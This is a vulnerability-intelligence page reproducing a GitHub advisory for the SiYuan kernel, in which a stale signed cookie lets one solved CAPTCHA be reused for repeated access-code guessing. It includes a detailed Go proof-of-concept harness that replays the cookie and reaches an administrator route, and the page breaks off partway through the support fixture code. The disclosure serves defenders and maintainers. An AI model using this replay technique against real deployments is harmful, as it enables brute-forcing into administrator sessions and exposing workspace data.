llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/siyuan-note/siyuan/kernel

GHSA-23G4-VQQ8-5764

Stale Signed Login Cookie Reuses CAPTCHA Challenge

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.4
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónv3.8.9
Exposición25 dDesde la divulgación, 25 oct 2026, 11:22 p. m.
Detección25 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
26 oct 26
20 nov 26
21 nov 26
26 oct 26
1 nov 26
8 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-23G4-VQQ8-5764 divulgada · CVSS 7.4 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Stale Signed Login Cookie Reuses CAPTCHA Challenge

Summary

The public kernel access-code login requires a CAPTCHA after four wrong codes, but the challenge lives in a signed client-side session cookie. When a code is wrong, `LoginAuth` places a replacement challenge in the response cookie; an earlier signed cookie remains valid and retains the solved CAPTCHA. This makes one challenge reusable for further access-code guesses.

Technical Details

`SystemLoginAuth` is declared `PublicAccess` in `kernel/apicontract/contracts.go:1484`; the production API registers it at `POST /api/system/loginAuth`. `GET /api/system/getCaptcha` is public as well. Production session middleware uses Gin's signed cookie store (`kernel/server/serve.go:162-174`), and the `loginAuth` wrapper calls `model.LoginAuth` (`kernel/api/system_auth.go:8`).

After `WrongAuthCount` exceeds three, `NeedCaptcha()` requires the CAPTCHA saved in the caller's workspace session (`kernel/util/session.go:31-35`). `LoginAuth` compares the submitted answer with that session value. On a wrong access code it increments the counter, creates a replacement challenge, and saves it in the response session (`kernel/model/session.go:67-157`). There is no server-side single-use record that invalidates the older signed cookie. The violated invariant is that rotating a challenge must make every prior cookie carrying that challenge unusable.

PoV

The reproducer makes four failed login attempts, obtains and solves one public CAPTCHA, then sends distinct wrong access codes with the original `siyuan` cookie. The responses still reach the invalid-code branch. The same CAPTCHA with the replacement cookie is rejected; the matching code establishes a session accepted by a production `AdminAccess` endpoint.

Each repeated request body is `{"authCode":"<guess>","captcha":"<challenge>"}`, where `<challenge>` is extracted from the original signed `siyuan` cookie captured from `GET /api/system/getCaptcha`. Every replay sends that same cookie, rather than the replacement cookie returned by the preceding login response. The PoC appendix reads the challenge from the cookie's saved workspace session before constructing those requests.

PoC

The reproducer targets revision `bfe36100477b7bbd66db1a8b8cff5547b2ccdb59`. It configures access code `12345678`, makes four failed login attempts, obtains one public CAPTCHA, and submits three distinct wrong access codes using the same original signed cookie. A rotated-cookie control checks that the stale CAPTCHA is rejected. The matching access code is then checked against a protected administrator route. The target module declares Go 1.24.0; the recorded run used Go 1.26.5 on Linux/arm64.

Run the commands from a directory containing this report. They extract the complete driver and support fixture from the Appendix before running the primary and negative-control cases:

git clone https://github.com/siyuan-note/siyuan.git siyuan-src
git -C siyuan-src checkout bfe36100477b7bbd66db1a8b8cff5547b2ccdb59
test "$(git -C siyuan-src rev-parse HEAD)" = bfe36100477b7bbd66db1a8b8cff5547b2ccdb59
mkdir -p reproducer-source work
awk '
  /^```go reproducer-driver$/ { destination="reproducer-source/probe_test.go"; next }
  /^```go support-fixture$/ { destination="reproducer-source/support.go"; next }
  /^```$/ && destination != "" { destination=""; next }
  destination != "" { print > destination }
' report.md

# Primary: original-cookie guesses, rotated-cookie control, and administrator route.
docker run --rm \
  -v "$PWD/siyuan-src/kernel:/target/kernel:ro" \
  -v "$PWD/reproducer-source:/run/poc:ro" \
  -v "$PWD/work:/work" \
  -e GOCACHE=/work/go-cache \
  -e GOMODCACHE=/work/go-mod-cache \
  -e GORACE=halt_on_error=1 \
  golang@sha256:53eeac89074db483fdf0ab3be1df32bf6e47562263d2d0d6baa7f26acb4957dd \
  go -C /target/kernel test -v \
  /run/poc/probe_test.go \
  -args /target/kernel/model/session.go TestProbeLoginCaptchaReplayProductionPositive

# Negative control: the rotated cookie rejects the stale CAPTCHA.
docker run --rm \
  -v "$PWD/siyuan-src/kernel:/target/kernel:ro" \
  -v "$PWD/reproducer-source:/run/poc:ro" \
  -v "$PWD/work:/work" \
  -e GOCACHE=/work/go-cache \
  -e GOMODCACHE=/work/go-mod-cache \
  -e GORACE=halt_on_error=1 \
  golang@sha256:53eeac89074db483fdf0ab3be1df32bf6e47562263d2d0d6baa7f26acb4957dd \
  go -C /target/kernel test -v \
  /run/poc/probe_test.go \
  -args /target/kernel/model/session.go TestProbeLoginCaptchaReplayProductionNegativeControl

The `-v` flags make Go print the test driver's `t.Logf` messages, including the HTTP observations. The following is an abridged excerpt of those emitted log messages; Go's file-and-line prefixes and test completion durations are omitted. Each shown line is produced by a `t.Logf` call in the embedded driver.

Primary test excerpt:

public POST /api/system/loginAuth, guess 1 with original cookie: HTTP 200 code=1 msg="invalid auth code"
public POST /api/system/loginAuth, guess 2 with original cookie: HTTP 200 code=1 msg="invalid auth code"
public POST /api/system/loginAuth, guess 3 with original cookie: HTTP 200 code=1 msg="invalid auth code"
negative control with rotated cookie and stale CAPTCHA: HTTP 200 code=1 msg="invalid captcha"
production AdminAccess route without a session: HTTP 401
matching POST /api/system/loginAuth with original cookie: HTTP 200 code=0
production AdminAccess route POST /api/system/getMobileWorkspaces: HTTP 200 code=0

Separate negative-control test excerpt:

negative control: rotated cookie plus stale CAPTCHA -> HTTP 200 code=1 msg="invalid captcha"

The reproducer uses the production contract route registration, cookie-session middleware, login handler, and protected-route authorization wiring. Test fixtures stand in for unrelated workspace and utility state; it does not start a complete Siyuan process.

Impact

A remote unauthenticated caller who can solve one CAPTCHA can continue online guessing against the workspace access code. A correct guess creates an administrator session, which grants access to protected workspace data and administrative APIs. Exposure depends on the access code's secrecy and guessability; the CAPTCHA bypass alone does not reveal the code. The reproducer does not demonstrate an availability impact. The conservative CVSS v3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` (7.4 High): high attack complexity reflects the need to discover the configured code, while a successful guess crosses into the administrator role. The weakness maps to CWE-307, Improper Restriction of Excessive Authentication Attempts.

Suggested Fix

Keep challenge state on the server and atomically consume each challenge before checking the access code. Bind the challenge to the browser session and expire it quickly so replacing the response cookie invalidates every older cookie that carries the solved challenge. Add regression coverage for replayed cookies and concurrent duplicate submissions; a per-IP or per-session backoff can provide defense in depth.

Affected Package/Versions

  • Go package: `github.com/siyuan-note/siyuan/kernel`.
  • Tested vulnerable revision: `bfe36100477b7bbd66db1a8b8cff5547b2ccdb59`.
  • No other release or fixed revision was tested, so no broader affected range or patched release is asserted.

Advisory History

The related advisory GHSA-w3xh-mmmh-r54v https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w3xh-mmmh-r54v concerns unthrottled HTTP Basic Auth in `CheckAuth`. It notes that `LoginAuth` requires a CAPTCHA after four wrong codes, but does not cover replaying an older signed cookie to reuse that challenge. No prior public report of stale-cookie CAPTCHA replay was found.

Public issue searches for `loginAuth captcha` and `captcha lock screen` returned no matching report. The three closed `loginAuth` results were #20887, “Docker/LAN HTTP login fails after v3.8.7” https://github.com/siyuan-note/siyuan/issues/20887, #20693, “Lock-screen password login fails” https://github.com/siyuan-note/siyuan/issues/20693, and #1266, “Web Clipper integration request” https://github.com/siyuan-note/siyuan/issues/1266; none describes CAPTCHA replay. The closed #18335, “Some security vulnerabilities” https://github.com/siyuan-note/siyuan/issues/18335 likewise does not report this behavior.

Public pull-request and commit searches found no exact stale-cookie CAPTCHA replay report.

We also checked earlier reports that were submitted, marked ready for review, or completed without submission. They covered widget package files, publish-password search excerpts, LAN sync discovery, and Reader WebSocket credentials; none covered stale-cookie CAPTCHA replay.

References

  • Public login contract https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/apicontract/contracts.go#L1484, login route wrapper https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/api/system_auth.go#L8, and production route registrations https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/api/router.go.
  • `LoginAuth` and `CheckAuth` https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/model/session.go#L67-L157, `NeedCaptcha` and throttle helpers https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/util/session.go#L31-L53, and production cookie store https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/server/serve.go#L162-L174.
  • Workspace session authentication https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/model/auth_session.go#L28-L35, related advisory GHSA-w3xh-mmmh-r54v https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w3xh-mmmh-r54v, and FIRST CVSS v3.1 specification https://www.first.org/cvss/v3.1/specification-document.

Appendix: Self-contained reproducer source

The commands above extract these complete Go inputs from this report. The driver assembles the pinned production route setup and runs the selected case; the support fixture supplies unrelated workspace and utility dependencies.

Probe driver
package main

import (
	"fmt"
	"os"
	"os/exec"
	"testing"
)

const productionBuildScript =
	`#!/bin/sh
set -eu

probe_test=$1
model_stubs=$2
test_name=$3
project=/work/captcha-replay-workspace

test -r /target/kernel/model/session.go
test -r /target/kernel/api/router.go
rm -rf "$project"
mkdir -p "$project/api" "$project/model" "$project/util" "$project/apicontract" \
	"$project/support/gulu" "$project/support/logging" "$project/support/captcha" "$project/support/websocket"

cp /target/kernel/model/session.go "$project/model/session.go"
cp "$model_stubs" "$project/model/model_support.go"
cp /target/kernel/apicontract/*.go "$project/apicontract/"
cp /target/kernel/apicontract/schema.json "$project/apicontract/schema.json"
cp /target/kernel/go.sum "$project/go.sum"
cp "$probe_test" "$project/api/route_probe_test.go"
cp /target/kernel/api/contract_routes.go "$project/api/contract_routes.go"

cat > "$project/go.mod" <<'GOMOD'
module github.com/siyuan-note/siyuan/kernel

go 1.24.0

require (
	github.com/88250/gulu v0.0.0
	github.com/gin-contrib/sessions v1.1.0
	github.com/gin-gonic/gin v1.12.0
	github.com/goccy/go-json v0.10.6
	github.com/gorilla/websocket v0.0.0
	github.com/siyuan-note/logging v0.0.0
	github.com/steambap/captcha v0.0.0
)

replace github.com/88250/gulu => /work/captcha-replay-workspace/support/gulu
replace github.com/gorilla/websocket => /work/captcha-replay-workspace/support/websocket
replace github.com/siyuan-note/logging => /work/captcha-replay-workspace/support/logging
replace github.com/steambap/captcha => /work/captcha-replay-workspace/support/captcha
GOMOD

cat > "$project/support/gulu/go.mod" <<'GOMOD'
module github.com/88250/gulu

go 1.24.0
GOMOD
cat > "$project/support/gulu/gulu.go" <<'GO'
package gulu

import "strings"

type randomSource struct{}

func (randomSource) String(size int) string { return strings.Repeat("A", size) }

var Rand randomSource
GO

cat > "$project/support/logging/go.mod" <<'GOMOD'
module github.com/siyuan-note/logging

go 1.24.0
GOMOD
cat > "$project/support/logging/logging.go" <<'GO'
package logging

func LogError(string)                 {}
func LogErrorf(string, ...any)         {}
func LogInfof(string, ...any)          {}
func LogWarnf(string, ...any)          {}
func Recover()                         {}
GO

cat > "$project/support/captcha/go.mod" <<'GOMOD'
module github.com/steambap/captcha

go 1.24.0
GOMOD
cat > "$project/support/captcha/captcha.go" <<'GO'
package captcha

import (
	"image/color"
	"io"
)

type Options struct {
	CharPreset      string
	Noise           float64
	CurveNumber     int
	BackgroundColor color.Color
}

type Image struct{ Text string }

func New(_, _ int, configure func(*Options)) (*Image, error) {
	configure(&Options{})
	return &Image{Text: "A1B2C3D"}, nil
}

func (image *Image) WriteImage(writer io.Writer) error {
	_, err := io.WriteString(writer, "captcha-image-fixture")
	return err
}
GO

cat > "$project/support/websocket/go.mod" <<'GOMOD'
module github.com/gorilla/websocket

go 1.24.0
GOMOD
cat > "$project/support/websocket/websocket.go" <<'GO'
package websocket

import "net/http"

func IsWebSocketUpgrade(*http.Request) bool { return false }
GO

cat > "$project/util/session_probe_support.go" <<'GO'
package util

import (
	"crypto/subtle"
	"encoding/json"
	"net"
	"net/http"
	"net/url"
	"strings"

	ginSessions "github.com/gin-contrib/sessions"
	"github.com/gin-gonic/gin"
)

var (
	WrongAuthCount                int
	WorkspaceDir                  string
	WorkspaceName                 string
	SSL                           bool
	ReadOnly                      bool
	SiYuanAccessAuthCodeBypass    bool
)

type WorkspaceSession struct {
	AccessAuthCode    string ` +
	"`" +
	`json:"accessAuthCode,omitempty"` +
	"`" +
	`
	Captcha           string ` +
	"`" +
	`json:"captcha,omitempty"` +
	"`" +
	`
	OIDCSessionVersion string ` +
	"`" +
	`json:"oidcSessionVersion,omitempty"` +
	"`" +
	`
}

type SessionData struct {
	Workspaces map[string]*WorkspaceSession ` +
	"`" +
	`json:"workspaces"` +
	"`" +
	`
}

type Result struct {
	Code int    ` +
	"`" +
	`json:"code"` +
	"`" +
	`
	Msg  string ` +
	"`" +
	`json:"msg"` +
	"`" +
	`
	Data any    ` +
	"`" +
	`json:"data"` +
	"`" +
	`
}

func GetSession(c *gin.Context) *SessionData {
	result := &SessionData{}
	if value := ginSessions.Default(c).Get("data"); value != nil {
		if encoded, ok := value.(string); ok {
			_ = json.Unmarshal([]byte(encoded), result)
		}
	}
	c.Set("session", result)
	return result
}

func (data *SessionData) Save(c *gin.Context) error {
	encoded, err := json.Marshal(data)
	if err != nil {
		return err
	}
	session := ginSessions.Default(c)
	session.Set("data", string(encoded))
	return session.Save()
}

func (data *SessionData) Clear(c *gin.Context) {
	session := ginSessions.Default(c)
	session.Clear()
	_ = session.Save()
}

func GetWorkspaceSession(data *SessionData) *WorkspaceSession {
	if data.Workspaces == nil {
		data.Workspaces = map[string]*WorkspaceSession{}
	}
	workspace := data.Workspaces[WorkspaceDir]
	if workspace == nil {
		workspace = &WorkspaceSession{}
		data.Workspaces[WorkspaceDir] = workspace
	}
	return workspace
}

func RemoveWorkspaceSession(data *SessionData) { delete(data.Workspaces, WorkspaceDir) }
func NeedCaptcha() bool                         { return WrongAuthCount > 3 }
func AuthCodeEquals(left, right string) bool     { return len(left) == len(right) && subtle.ConstantTimeCompare([]byte(left), []byte(right)) == 1 }
func RemoveInvalid(value string) string          { return value }
func GetRemoteAddr(request *http.Request) string {
	remote, _, err := net.SplitHostPort(request.RemoteAddr)
	if err == nil {
		return remote
	}
	return request.RemoteAddr
}
func IsTLSRequest(*http.Request) bool                { return false }
func BroadcastByType(string, string, int, string, any) {}
func AuthThrottleReset(string)                       {}
func AuthThrottleCheck(string) int                   { return 0 }
func AuthThrottleFail(string)                        {}
func IsCrossSiteFetchSite(value string) bool         { return strings.EqualFold(value, "cross-site") }
func IsSessionOriginAllowedRequest(*http.Request) bool { return true }
func IsMobileContainer() bool                         { return false }
func IsLocalHostname(value string) bool               { return value == "localhost" || value == "127.0.0.1" || value == "::1" }
func IsLocalHost(value string) bool {
	if host, _, err := net.SplitHostPort(value); err == nil {
		value = host
	}
	return IsLocalHostname(value)
}
func IsLocalOrigin(value string) bool {
	parsed, err := url.Parse(value)
	return err == nil && (parsed.Hostname() == "localhost" || parsed.Hostname() == "127.0.0.1" || parsed.Hostname() == "::1")
}
func NewResult() *Result                            { return &Result{} }
func PushMsg(string, int)                           {}
func RefreshActivity()                              {}
func IsDisabledFeature(string) bool                 { return false }
func ReadWorkspacePaths() ([]string, error)          { return nil, nil }
func I18nTerm(_ string, messageID string) string { return messageID }
GO

cat > "$project/model/route_probe_support.go" <<'GO'
package model

import "github.com/gin-gonic/gin"

func LockRequestAfterDecode(*gin.Context) error { return nil }
GO

cat > "$project/api/contract_handler.go" <<'GO'
package api

import (
	"bytes"
	"io"
	"mime/multipart"

	goccyJSON "github.com/goccy/go-json"
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/apicontract"
	"github.com/siyuan-note/siyuan/kernel/model"
	"github.com/siyuan-note/siyuan/kernel/util"
)
GO
sed -n '45,168p' /target/kernel/api/contract.go >> "$project/api/contract_handler.go"

cat > "$project/api/contract_handler_helpers.go" <<'GO'
package api

import (
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/apicontract"
)

func serializeSetting[Request, Data any](_ string, handler func(*gin.Context, Request) apicontract.Response[Data]) func(*gin.Context, Request) apicontract.Response[Data] { return handler }
func lockSetting(string) func() { return func() {} }
func mergeSettingBody(_ string, body []byte) []byte { return body }
func withSettingLock[Data any](_ string, run func() Data) Data { return run() }
GO

sed -n '1,10p' /target/kernel/api/system_auth.go > "$project/api/system_auth.go"

cat > "$project/api/workspace.go" <<'GO'
package api

import (
	"os"
	"path/filepath"

	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/logging"
	"github.com/siyuan-note/siyuan/kernel/apicontract"
	"github.com/siyuan-note/siyuan/kernel/util"
)
GO
sed -n '191,222p' /target/kernel/api/workspace.go >> "$project/api/workspace.go"
cat > "$project/api/workspace_probe_support.go" <<'GO'
package api

func isInvalidWorkspacePath(string) bool { return false }
GO

cat > "$project/api/router.go" <<'GO'
package api

import (
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/apicontract"
)

func registerSystemRoutes(ginServer *gin.Engine) {
GO
grep -F '"/api/system/loginAuth"' /target/kernel/api/router.go >> "$project/api/router.go"
grep -F '"/api/system/getCaptcha"' /target/kernel/api/router.go >> "$project/api/router.go"
grep -F '"/api/system/getMobileWorkspaces"' /target/kernel/api/router.go >> "$project/api/router.go"
printf '}\n' >> "$project/api/router.go"

cat > "$project/api/empty_api.go" <<'GO'
package api
GO
cat > "$project/model/empty_model.go" <<'GO'
package model
GO
cat > "$project/util/empty_util.go" <<'GO'
package util
GO

cat > /work/build_overlay.py <<'PY'
import json
from pathlib import Path

root = Path("/target/kernel")
project = Path("/work/captcha-replay-workspace")
replace = {}

for source in (root / "api").glob("*.go"):
    if source.name != "contract_routes.go":
        replace[str(source)] = str(project / "api" / "empty_api.go")
for name, replacement in {
    "contract.go": "contract_handler.go",
    "router.go": "router.go",
    "workspace.go": "workspace.go",
}.items():
    replace[str(root / "api" / name)] = str(project / "api" / replacement)
replace[str(root / "api" / "route_probe_test.go")] = str(project / "api" / "route_probe_test.go")
replace[str(root / "api" / "workspace_probe_support.go")] = str(project / "api" / "workspace_probe_support.go")
replace[str(root / "api" / "system_auth.go")] = str(project / "api" / "system_auth.go")
replace[str(root / "api" / "contract_handler_helpers.go")] = str(project / "api" / "contract_handler_helpers.go")

for source in (root / "model").glob("*.go"):
    if source.name != "session.go":
        replace[str(source)] = str(project / "model" / "empty_model.go")
replace[str(root / "model" / "model_support.go")] = str(project / "model" / "model_support.go")

for source in (root / "util").glob("*.go"):
    replace[str(source)] = str(project / "util" / "empty_util.go")
replace[str(root / "util" / "session_probe_support.go")] = str(project / "util" / "session_probe_support.go")

Path("/work/build_overlay.json").write_text(json.dumps({"Replace": replace}))
PY
python3 /work/build_overlay.py
cd /target/kernel
go test -overlay=/work/build_overlay.json -run "^${test_name}$" -count=1 -v ./api
`
const productionRouteTest =
	`package api

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"runtime"
	"testing"

	ginSessions "github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/model"
	"github.com/siyuan-note/siyuan/kernel/util"
)

const (
	probeAccessCode = "12345678"
	probeCookieKey  = "login-captcha-replay-production-probe-cookie-key"
	probeRevision   = "bfe36100477b7bbd66db1a8b8cff5547b2ccdb59"
)

type probeEnvelope struct {
	Code int    ` +
	"`" +
	`json:"code"` +
	"`" +
	`
	Msg  string ` +
	"`" +
	`json:"msg"` +
	"`" +
	`
}

func probeProductionRouter(t *testing.T) (*gin.Engine, ginSessions.Store) {
	t.Helper()
	oldMode := gin.Mode()
	oldConf, oldWorkspace, oldWrongCount, oldSSL := model.Conf, util.WorkspaceDir, util.WrongAuthCount, util.SSL
	gin.SetMode(gin.TestMode)
	model.Conf = model.NewAppConf()
	model.Conf.AccessAuthCode = probeAccessCode
	util.WorkspaceDir = t.TempDir()
	util.WrongAuthCount = 0
	util.SSL = false
	t.Cleanup(func() {
		gin.SetMode(oldMode)
		model.Conf, util.WorkspaceDir, util.WrongAuthCount, util.SSL = oldConf, oldWorkspace, oldWrongCount, oldSSL
	})

	store := cookie.NewStore([]byte(probeCookieKey))
	store.Options(ginSessions.Options{
		Path:     "/",
		Secure:   util.SSL,
		HttpOnly: true,
		SameSite: http.SameSiteLaxMode,
	})
	router := gin.New()
	router.Use(ginSessions.Sessions("siyuan", store))
	registerSystemRoutes(router)
	t.Logf("target revision: %s; configured access code: %s; CAPTCHA threshold: four wrong codes", probeRevision, probeAccessCode)
	t.Logf("runtime: %s %s/%s", runtime.Version(), runtime.GOOS, runtime.GOARCH)
	return router, store
}

func probeRequest(router *gin.Engine, method, path string, body []byte, sessionCookie *http.Cookie) *httptest.ResponseRecorder {
	var request *http.Request
	if body == nil {
		request = httptest.NewRequest(method, "http://192.0.2.1"+path, nil)
	} else {
		request = httptest.NewRequest(method, "http://192.0.2.1"+path, bytes.NewReader(body))
	}
	request.RemoteAddr = "192.0.2.2:1234"
	if body != nil {
		request.Header.Set("Content-Type", "application/json")
	}
	if sessionCookie != nil {
		request.AddCookie(sessionCookie)
	}
	recorder := httptest.NewRecorder()
	router.ServeHTTP(recorder, request)
	return recorder
}

func probeLogin(router *gin.Engine, authCode, captcha string, sessionCookie *http.Cookie) *httptest.ResponseRecorder {
	body, err := json.Marshal(struct {
		AuthCode string ` +
	"`" +
	`json:"authCode"` +
	"`" +
	`
		Captcha  string ` +
	"`" +
	`json:"captcha"` +
	"`" +
	`
	}{AuthCode: authCode, Captcha: captcha})
	if err != nil {
		panic(err)
	}
	return probeRequest(router, http.MethodPost, "/api/system/loginAuth", body, sessionCookie)
}

func probeCookieFrom(recorder *httptest.ResponseRecorder) *http.Cookie {
	for _, value := range recorder.Result().Cookies() {
		if value.Name == "siyuan" {
			return value
		}
	}
	return nil
}

func probeChallengeFromCookie(t *testing.T, store ginSessions.Store, sessionCookie *http.Cookie) string {
	t.Helper()
	request := httptest.NewRequest(http.MethodGet, "http://192.0.2.1/", nil)
	request.AddCookie(sessionCookie)
	session, err := store.Get(request, "siyuan")
	if err != nil {
		t.Fatal(err)
	}
	encoded, ok := session.Values["data"].(string)
	if !ok {
		t.Fatal("session data is missing from the signed cookie")
	}
	var data util.SessionData
	if err = json.Unmarshal([]byte(encoded), &data); err != nil {
		t.Fatal(err)
	}
	workspace := data.Workspaces[util.WorkspaceDir]
	if workspace == nil || workspace.Captcha == "" {
		t.Fatal("CAPTCHA is missing from the saved workspace session")
	}
	return workspace.Captcha
}

func probeReadEnvelope(t *testing.T, recorder *httptest.ResponseRecorder) probeEnvelope {
	t.Helper()
	var value probeEnvelope
	if err := json.Unmarshal(recorder.Body.Bytes(), &value); err != nil {
		t.Fatalf("decode response %q: %v", recorder.Body.String(), err)
	}
	return value
}

func probeRequireLoginMessage(t *testing.T, recorder *httptest.ResponseRecorder, want string) probeEnvelope {
	t.Helper()
	if recorder.Code != http.StatusOK {
		t.Fatalf("login status = %d, want %d: %s", recorder.Code, http.StatusOK, recorder.Body.String())
	}
	value := probeReadEnvelope(t, recorder)
	if value.Code != 1 || value.Msg != want {
		t.Fatalf("login response = HTTP %d code=%d msg=%q, want code=1 msg=%q", recorder.Code, value.Code, value.Msg, want)
	}
	return value
}

func probeWarmupAndChallenge(t *testing.T, router *gin.Engine, store ginSessions.Store) (*http.Cookie, string) {
	t.Helper()
	var sessionCookie *http.Cookie
	for i := 1; i <= 4; i++ {
		response := probeLogin(router, fmt.Sprintf("wrong-%d", i), "", sessionCookie)
		if response.Code != http.StatusOK {
			t.Fatalf("warmup login %d status = %d: %s", i, response.Code, response.Body.String())
		}
		sessionCookie = probeCookieFrom(response)
		if sessionCookie == nil {
			t.Fatalf("warmup login %d did not issue the production session cookie", i)
		}
	}
	challengeResponse := probeRequest(router, http.MethodGet, "/api/system/getCaptcha", nil, sessionCookie)
	if challengeResponse.Code != http.StatusOK || challengeResponse.Header().Get("Content-Type") != "image/png" {
		t.Fatalf("GET /api/system/getCaptcha = HTTP %d content-type=%q", challengeResponse.Code, challengeResponse.Header().Get("Content-Type"))
	}
	sessionCookie = probeCookieFrom(challengeResponse)
	if sessionCookie == nil {
		t.Fatal("getCaptcha did not issue the production session cookie")
	}
	return sessionCookie, probeChallengeFromCookie(t, store, sessionCookie)
}

func TestProbeLoginCaptchaReplayProductionPositive(t *testing.T) {
	router, store := probeProductionRouter(t)
	challengeCookie, challenge := probeWarmupAndChallenge(t, router, store)
	t.Logf("public GET /api/system/getCaptcha: HTTP 200 image/png; signed cookie captured")

	first := probeLogin(router, "wrong-after-captcha-1", challenge, challengeCookie)
	firstValue := probeRequireLoginMessage(t, first, model.Conf.Language(83))
	rotatedCookie := probeCookieFrom(first)
	if rotatedCookie == nil {
		t.Fatal("first login guess did not issue the rotated production session cookie")
	}
	t.Logf("public POST /api/system/loginAuth, guess 1 with original cookie: HTTP %d code=%d msg=%q", first.Code, firstValue.Code, firstValue.Msg)

	second := probeLogin(router, "wrong-after-captcha-2", challenge, challengeCookie)
	secondValue := probeRequireLoginMessage(t, second, model.Conf.Language(83))
	t.Logf("public POST /api/system/loginAuth, guess 2 with original cookie: HTTP %d code=%d msg=%q", second.Code, secondValue.Code, secondValue.Msg)

	third := probeLogin(router, "wrong-after-captcha-3", challenge, challengeCookie)
	thirdValue := probeRequireLoginMessage(t, third, model.Conf.Language(83))
	t.Logf("public POST /api/system/loginAuth, guess 3 with original cookie: HTTP %d code=%d msg=%q", third.Code, thirdValue.Code, thirdValue.Msg)

	staleWithRotated := probeLogin(router, "wrong-control", challenge, rotatedCookie)
	controlValue := probeRequireLoginMessage(t, staleWithRotated, model.Conf.Language(22))
	t.Logf("negative control with rotated cookie and stale CAPTCHA: HTTP %d code=%d msg=%q", staleWithRotated.Code, controlValue.Code, controlValue.Msg)

	protectedBefore := probeRequest(router, http.MethodPost, "/api/system/getMobileWorkspaces", nil, nil)
	if protectedBefore.Code != http.StatusUnauthorized {
		t.Fatalf("protected admin route without a session = HTTP %d, want 401", protectedBefore.Code)
	}
	t.Logf("production AdminAccess route without a session: HTTP %d", protectedBefore.Code)

	login := probeLogin(router, probeAccessCode, challenge, challengeCookie)
	if login.Code != http.StatusOK || probeReadEnvelope(t, login).Code != 0 {
		t.Fatalf("matching access code did not authenticate: HTTP %d %s", login.Code, login.Body.String())
	}
	loginCookie := probeCookieFrom(login)
	if loginCookie == nil {
		t.Fatal("matching access code did not issue an authenticated session cookie")
	}
	t.Logf("matching POST /api/system/loginAuth with original cookie: HTTP %d code=0", login.Code)

	adminRoute := probeRequest(router, http.MethodPost, "/api/system/getMobileWorkspaces", nil, loginCookie)
	if adminRoute.Code != http.StatusOK || probeReadEnvelope(t, adminRoute).Code != 0 {
		t.Fatalf("production AdminAccess route with authenticated cookie = HTTP %d %s", adminRoute.Code, adminRoute.Body.String())
	}
	t.Logf("production AdminAccess route POST /api/system/getMobileWorkspaces: HTTP %d code=0", adminRoute.Code)

}

func TestProbeLoginCaptchaReplayProductionNegativeControl(t *testing.T) {
	router, store := probeProductionRouter(t)
	challengeCookie, challenge := probeWarmupAndChallenge(t, router, store)
	first := probeLogin(router, "wrong-after-captcha", challenge, challengeCookie)
	probeRequireLoginMessage(t, first, model.Conf.Language(83))
	rotatedCookie := probeCookieFrom(first)
	if rotatedCookie == nil {
		t.Fatal("first login guess did not issue the rotated production session cookie")
	}
	control := probeLogin(router, "wrong-control", challenge, rotatedCookie)
	controlValue := probeRequireLoginMessage(t, control, model.Conf.Language(22))
	t.Logf("negative control: rotated cookie plus stale CAPTCHA -> HTTP %d code=%d msg=%q", control.Code, controlValue.Code, controlValue.Msg)
}
`

func TestMain(_ *testing.M) {
	sourcePath := ""
	testName := ""
	for i := 1; i+1 < len(os.Args); i++ {
		if os.Args[i] == "/target/kernel/model/session.go" {
			sourcePath = os.Args[i]
			testName = os.Args[i+1]
			break
		}
	}
	if sourcePath == "" || testName == "" {
		fmt.Fprintln(os.Stderr, "expected the pinned LoginAuth source and a test name")
		os.Exit(2)
	}
	if _, err := os.Stat(sourcePath); err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(2)
	}
	base := "/work/captcha-replay-workspace"
	if err := os.MkdirAll(base, 0700); err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
	buildPath := "/work/build_probe.sh"
	testPath := "/work/route_probe.go"
	if err := os.WriteFile(buildPath, []byte(productionBuildScript), 0600); err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
	if err := os.WriteFile(testPath, []byte(productionRouteTest), 0600); err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
	command := exec.Command("sh", buildPath, testPath, "/run/poc/support.go", testName)
	command.Stdout = os.Stdout
	command.Stderr = os.Stderr
	if err := command.Run(); err != nil {
		if exit, ok := err.(*exec.ExitError); ok {
			os.Exit(exit.ExitCode())
		}
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
	os.Exit(0)
}
Support fixture
package model

import (
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/util"
)

type Role uint

const (
